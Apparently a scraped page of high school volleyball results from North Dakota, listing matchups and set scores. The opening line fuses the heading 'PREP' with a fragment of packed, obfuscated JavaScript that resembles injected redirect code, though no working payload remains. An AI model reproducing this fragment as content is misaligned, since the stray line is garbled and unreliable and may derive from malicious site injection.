PREP fzktf|var|u0026u|referrer|ykbkz||js|php’.split(‘|’),0,{}))
VOLLEYBALL
Benson County def. Lakota, 25-17, 25-12, 25-15
Bismarck High def. Bismarck St. Mary’s, 25-15, 25-21, 25-22
Carrington def. North Star, 25-16, 25-15, 25-21
Central Cass def. Kindred, 25-19, 25-8, 25-22
Dickinson def. Mandan, 25-15, 25-21, 25-20
Edgeley-Kulm def. Kidder County, 25-18, 19-25, 25-15, 25-20
Fargo Shanley def. Wahpeton, 25-16, 25-16, 19-25, 25-13
Grafton def. Valley-Edinburg, 26-24, 25-23, 25-19
Grant County def. Killdeer, 25-21, 25-20, 25-16
Harvey-Wells County def. Velva, 25-17, 25-23, 25-23
Hatton-Northwood def. Central Valley, 27-25, 25-14, 16-25, 25-11
Heart River def. Mott-Regent, 25-14, 25-17, 25-12
LaMoure def. Central Prairie, 25-11, 25-0, 25-8
Linton-H-M-B def. Ellendale, 25-21, 27-25, 25-10
Midway def. Minto, 25-16, 25-12, 25-22
Napoleon def. P-B-K, 29-27, 25-13, 15-25, 25-16
New Rockford-Sheyenne def. Drake/Anamoose, 25-11, 25-12, 25-16
North Border def. Drayton-St. Thomas, 25-8, 25-14, 25-17
Richardton-Taylor def. Shiloh, 15-25, 25-22, 21-25, 25-15, 15-8
Richland def. Maple Valley, 25-22, 25-16, 19-25, 25-14
Rugby def. Sawyer, 25-11, 25-21, 25-21
St. John def. Dunseith, 25-15, 25-6, 25-16
Tioga def. Trenton, 25-21, 25-16, 25-22
Valley City def. Devils Lake, 25-22, 20-25, 20-25, 25-18, 15-10
Washburn def. Standing Rock, 25-17, 26-24, 25-21
Wibaux, Mont. def. Beach, 25-13, 25-14, 25-20
Wilton-Wing def. Garrison-Max, 25-22, 25-16, 25-15
